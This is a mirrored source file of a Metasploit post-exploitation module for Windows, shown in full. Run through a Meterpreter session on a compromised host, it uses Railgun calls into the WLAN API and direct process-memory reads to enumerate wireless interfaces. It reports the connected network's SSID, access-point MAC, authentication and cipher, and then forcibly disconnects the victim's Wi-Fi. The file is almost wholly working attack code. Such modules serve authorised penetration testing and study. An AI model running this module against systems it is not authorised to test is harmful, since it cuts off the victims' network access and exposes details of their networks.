CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_disconnect.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Disconnect Wireless Connection',
14
'Description' => %q{
15
This module disconnects the current wireless network connection
16
on the specified interface.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['theLightCosine'],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_railgun_api
26
stdapi_sys_process_attach
27
stdapi_sys_process_getpid
28
]
29
}
30
}
31
)
32
)
33
34
register_options([
35
OptInt.new('Interface', [true, 'The Index of the Interface to Disconnect. Leave at 0 if only one IF', 0])
36
])
37
end
38
39
def run
40
# Opens memory access into the host process
41
mypid = client.sys.process.getpid
42
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
43
@wlanapi = client.railgun.wlanapi
44
45
wlan_connections = "Wireless LAN Active Connections: \n"
46
wlan_handle = open_handle
47
unless wlan_handle
48
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
49
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
50
return
51
end
52
wlan_iflist = enum_interfaces(wlan_handle)
53
if wlan_iflist[datastore['Interface']]
54
connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
55
if connect_info
56
guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid'])
57
wlan_connection = "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n"
58
wlan_connection << "Currently Connected to: \n"
59
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
60
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
61
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
62
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
63
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
64
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
65
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
66
print_status(wlan_connection)
67
68
print_status('Disconnecting...')
69
@wlanapi.WlanDisconnect(wlan_handle, wlan_iflist[datastore['Interface']]['guid'], nil)
70
sleep(10)
71
72
connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
73
if connected
74
print_error('The Interface still appears to be connected.')
75
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
76
if closehandle['return'] == 0
77
print_status('WlanAPI Handle Closed Successfully')
78
else
79
print_error('There was an error closing the Handle')
80
end
81
return
82
else
83
print_good('The Interface has been disconnected successfully')
84
end
85
else
86
print_error('This Interface is not currently connected to a network.')
87
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
88
if closehandle['return'] == 0
89
print_status('WlanAPI Handle Closed Successfully')
90
else
91
print_error('There was an error closing the Handle')
92
end
93
return
94
end
95
else
96
print_error('The Supplied Interface Index is Invalid')
97
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
98
if closehandle['return'] == 0
99
print_status('WlanAPI Handle Closed Successfully')
100
else
101
print_error('There was an error closing the Handle')
102
end
103
return
104
end
105
106
# close the Wlan API Handle
107
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
108
if closehandle['return'] == 0
109
print_status('WlanAPI Handle Closed Successfully')
110
else
111
print_error('There was an error closing the Handle')
112
end
113
end
114
115
def open_handle
116
begin
117
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
118
rescue StandardError
119
return nil
120
end
121
return wlhandle['phClientHandle']
122
end
123
124
def query_current_connection(wlan_handle, guid)
125
connection = {}
126
conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
127
128
# Grab the pointer to our data structure. We skip voer the Interface State since we already have it
129
# We interpret the connection mode used first
130
pointer = conn_info['ppData']
131
pointer = (pointer + 4)
132
mode = @host_process.memory.read(pointer, 4)
133
mode = mode.unpack('V')[0]
134
case mode
135
when 0
136
connection['mode'] = 'A profile is used to make the connection.'
137
when 1
138
connection['mode'] = 'A temporary profile is used to make the connection.'
139
when 2
140
connection['mode'] = 'Secure discovery is used to make the connection.'
141
when 3
142
connection['mode'] = 'Unsecure discovery is used to make the connection.'
143
when 4
144
connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
145
when 5
146
connection['mode'] = 'Invalid connection mode.'
147
else
148
connection['state'] = 'Unknown connection Mode.'
149
end
150
151
# Grab the wirelessprofile name used in the connection
152
pointer = (pointer + 4)
153
profile = @host_process.memory.read(pointer, 512)
154
connection['profile'] = profile.gsub(/\x00/, '')
155
156
# Check the size of the SSID value. If we get nothing back, the interface is not currently connected
157
# We return nil and deal with the results back in the calling function
158
pointer = (pointer + 512)
159
len_ssid = @host_process.memory.read(pointer, 4)
160
unless len_ssid.unpack('V')[0]
161
return nil
162
end
163
164
# Grabs the SSID of the BSS connected to
165
pointer = (pointer + 4)
166
ssid = @host_process.memory.read(pointer, 32)
167
connection['ssid'] = ssid.gsub(/\x00/, '')
168
169
# Grabs what type of a BSS this is and itnerpretes it into human readable
170
pointer = (pointer + 32)
171
bsstype = @host_process.memory.read(pointer, 4)
172
bsstype = bsstype.unpack('V')[0]
173
case bsstype
174
when 1
175
connection['type'] = 'Infrastructure'
176
when 2
177
connection['type'] = 'Independent'
178
when 3
179
connection['type'] = 'Any'
180
else
181
connection['type'] = 'Unknown BSS Type'
182
end
183
184
# Grabs the BSS MAC address
185
pointer = (pointer + 4)
186
bssid = @host_process.memory.read(pointer, 6)
187
bssid = bssid.unpack('H*')[0]
188
bssid.insert(2, ':')
189
bssid.insert(5, ':')
190
bssid.insert(8, ':')
191
bssid.insert(11, ':')
192
bssid.insert(14, ':')
193
connection['bssid'] = bssid
194
195
# Grabs the physical association type and interprets it into human readable
196
pointer = (pointer + 8)
197
phy_type = @host_process.memory.read(pointer, 4)
198
phy_type = phy_type.unpack('V')[0]
199
case phy_type
200
when 1
201
connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
202
when 2
203
connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
204
when 3
205
connection['physical'] = 'Infrared (IR) baseband'
206
when 4
207
connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
208
when 5
209
connection['physical'] = 'High-rate DSSS (HRDSSS)'
210
when 6
211
connection['physical'] = 'Extended rate PHY type'
212
when 7
213
connection['physical'] = '802.11n PHY type'
214
else
215
connection['physical'] = 'Unknown Association Type'
216
end
217
218
# Grabs the signal strength value
219
pointer = (pointer + 8)
220
signal = @host_process.memory.read(pointer, 4)
221
connection['signal'] = signal.unpack('V')[0]
222
223
# Grabs the recieve rate value
224
pointer = (pointer + 4)
225
rxrate = @host_process.memory.read(pointer, 4)
226
connection['rxrate'] = rxrate.unpack('V')[0]
227
228
# Grabs the transmit rate value
229
pointer = (pointer + 4)
230
txrate = @host_process.memory.read(pointer, 4)
231
connection['txrate'] = txrate.unpack('V')[0]
232
233
# Checks if security is enabled on this BSS
234
pointer = (pointer + 4)
235
security_enabled = @host_process.memory.read(pointer, 4)
236
if security_enabled.unpack('V')[0] == 1
237
connection['security'] = 'Yes'
238
else
239
connection['security'] = 'No'
240
end
241
242
# Checks of 802.1x Authentication is used
243
pointer = (pointer + 4)
244
onex = @host_process.memory.read(pointer, 4)
245
if onex.unpack('V')[0] == 1
246
connection['oneX'] = 'Yes'
247
else
248
connection['oneX'] = 'No'
249
end
250
251
# Determines wat Authentication Algorithm is being used
252
pointer = (pointer + 4)
253
algo = @host_process.memory.read(pointer, 4)
254
algo = algo.unpack('V')[0]
255
case algo
256
when 1
257
connection['auth'] = '802.11 Open'
258
when 2
259
connection['auth'] = '802.11 Shared'
260
when 3
261
connection['auth'] = 'WPA'
262
when 4
263
connection['auth'] = 'WPA-PSK'
264
when 5
265
connection['auth'] = 'WPA-None'
266
when 6
267
connection['auth'] = 'RSNA'
268
when 7
269
connection['auth'] = 'RSNA with PSK'
270
else
271
connection['auth'] = 'Unknown Algorithm'
272
end
273
274
# Determines what Cipher is being used
275
pointer = (pointer + 4)
276
cipher = @host_process.memory.read(pointer, 4)
277
cipher = cipher.unpack('V')[0]
278
case cipher
279
when 0
280
connection['cipher'] = 'None'
281
when 1
282
connection['cipher'] = 'WEP-40'
283
when 2
284
connection['cipher'] = 'TKIP'
285
when 4
286
connection['cipher'] = 'CCMP'
287
when 5
288
connection['cipher'] = 'WEP-104'
289
when 256
290
connection['cipher'] = 'Use Group Key'
291
when 257
292
connection['cipher'] = 'WEP'
293
else
294
connection['cipher'] = 'Unknown Cipher'
295
end
296
return connection
297
end
298
299
def enum_interfaces(wlan_handle)
300
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
301
pointer = iflist['ppInterfaceList']
302
303
numifs = @host_process.memory.read(pointer, 4)
304
numifs = numifs.unpack('V')[0]
305
interfaces = []
306
307
# Set the pointer ahead to the first element in the array
308
pointer = (pointer + 8)
309
(1..numifs).each do |_i|
310
interface = {}
311
# Read the GUID (16 bytes)
312
interface['guid'] = @host_process.memory.read(pointer, 16)
313
pointer = (pointer + 16)
314
# Read the description(up to 512 bytes)
315
interface['description'] = @host_process.memory.read(pointer, 512)
316
pointer = (pointer + 512)
317
# Read the state of the interface (4 bytes)
318
state = @host_process.memory.read(pointer, 4)
319
pointer = (pointer + 4)
320
321
# Turn the state into human readable form
322
state = state.unpack('V')[0]
323
case state
324
when 0
325
interface['state'] = 'The interface is not ready to operate.'
326
when 1
327
interface['state'] = 'The interface is connected to a network.'
328
when 2
329
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
330
when 3
331
interface['state'] = 'The interface is disconnecting from the current network.'
332
when 4
333
interface['state'] = 'The interface is not connected to any network.'
334
when 5
335
interface['state'] = 'The interface is attempting to associate with a network.'
336
when 6
337
interface['state'] = 'Auto configuration is discovering the settings for the network.'
338
when 7
339
interface['state'] = 'The interface is in the process of authenticating.'
340
else
341
interface['state'] = 'Unknown State'
342
end
343
interfaces << interface
344
end
345
return interfaces
346
end
347
348
# Convert the GUID to human readable form
349
def guid_to_string(guid)
350
aguid = guid.unpack('H*')[0]
351
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
352
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
353
sguid << '-' + aguid[20, 12] + '}'
354
return sguid
355
end
356
end
357
358